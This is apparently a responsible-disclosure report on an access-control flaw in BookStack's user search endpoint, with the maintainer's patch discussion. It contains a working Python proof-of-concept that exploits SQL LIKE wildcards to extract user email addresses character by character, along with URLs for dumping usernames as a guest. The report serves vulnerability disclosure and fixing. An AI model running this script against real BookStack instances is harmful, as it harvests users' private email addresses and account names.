Improper Access Control in bookstackapp/bookstack
Reported on
Dec 11th 2021
Description
A logged-in user with no privileges OR guest user (if public access enabled) can access the /search/users/select AJAX endpoint meant for admins to manage audit logs, to dump all usernames existing in the Bookstack database. This can also be used to harvest email belonging to a user because BookStack also uses the code where('email', 'like', '%' . $search . '%') to search for users based on email. Which means we can execute an error-based attack (ie. if a user appears when we use ?search=admin@, then we know that some part of the user email address contains "admin@" due to the LIKE %{search_term}% SQL clause) to obtain an email of a user
Proof of Concept 1 (Dump All Users)
1: As a guest user, access /search/users/select endpoint, dump the possible users on the application.
Proof of Concept 2 (Harvest emails tied to specific user)
2: When we search /search/users/select?search=admin@, the admin user remains present, meaning email contains admin@
3: When we search /search/users/select?search=nobody@, the admin user does not remain present, this can be exploited and automated to extract emails tied to the specific user, meaning email does not contain nobody@
4: A Python3 POC script to target anybody is shown. This exploits the SQL LIKE %search% clause in /search/users/select endpoint to harvest target emails:
import requests
### REPLACE
host = "http://10.0.2.15"
username = "viewer"
### EXPLOIT START
def find(victim):
## STEP 1: Find length of email
for i in range(0,100):
r = requests.get(host + "/search/users/select?search=" + "_" * i)
if victim not in r.text:
length = i
break
## STEP 2: Extract email
charList = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.']
found = ""
for ord in range(length, -1, -1):
for char in charList:
r = requests.get(host + "/search/users/select?search=" + found + char + "_" * ord)
if victim in r.text:
found += char
print(found)
break
print("Email: " + found)
return found
### CALL EXPLOIT
find(username)
Impact
This vulnerability is capable of harvesting usernames (in one request) and emails (via an error-based attack) as guest user.
Recommended Fix
The /search/users/select endpoint should only be available to audit managers (ie. settings-manage and users-manage permissions)
Occurrences
UserSearchController.php L23
Recommended Fix 1: remove where('email', 'like', '%' . $search . '%')
UserSearchController.php L1517
Recommended Fix 2: restrict privileges to this endpoint
fix commit - https://github.com/Haxatron/BookStack/commit/c41cf219aebb3d2fc7df5106e2ccfa699654f901
hmm fix may not be as easy as above, if user with manage book perms but not user management / setting manage chooses to transfer permission for books, they may not be able to access the above endpoint
Actually, better option would be to remove the where('email', 'like', '%' . $search . '%') clause, because it /search/users/select seems to be overshadowed by a better search functionality /settings/users?order=asc&sort=name&search=eeee
Additionally principle of least privilege can be applied, so only users with manage permission or user management ability can access the endpoint.
note: I deleted my own patch-fix in with regards to above, but have suggested some more fixes you can apply above
Thanks for reporting. Never knew about using _
in LIKE
queries before, Thanks for teaching me something new! Clever abuse of this endpoint.
I'll likely do a combination of both of your recommended fixes, I'll split out the endpoint into an strictly controlled endpoint for admin-use-only (With email searching) and a non-email-searching endpoint for other uses but with other permissions enforced where possible to make it a little more restrictive.
Will put a patch together over the next day.
Patch now prepared. Looking to deploy tomorrow. This patch:
- Removes email-based search from the
/search/users/select
endpoint. - Enforces additional access control to
/search/users/select
endpoint. User must be logged in (Even when app is public) AND must have permission to manage users or one of the manage-item permission role permissions. - Removes the user-migration list upon user delete unless the user has permission to manage users.
Tests have been added to cover these changes.
Hi there. Thanks for the compliment! I also did not know that the SQL LIKE clause can specifically be abused to extract hidden information until 1 hour before making this disclosure, while rummaging through the SQL documentation XD. I guess white box security testing is not really documented well so these kind of attacks are not common.
Thanks once again for reviewing these security reports! I will review the patch once it is released and let you know if there are any possible ways to exploit it further!
The patch https://github.com/BookStackApp/BookStack/commit/e43f679e621c93d62e7c4909bd1f70b370cd4af1 LGTM!
Awesome, Thanks for confirming and thanks again for discovering @haxatron!
Adding as reference:
https://haxatron.gitbook.io/vulnerability-research/vr1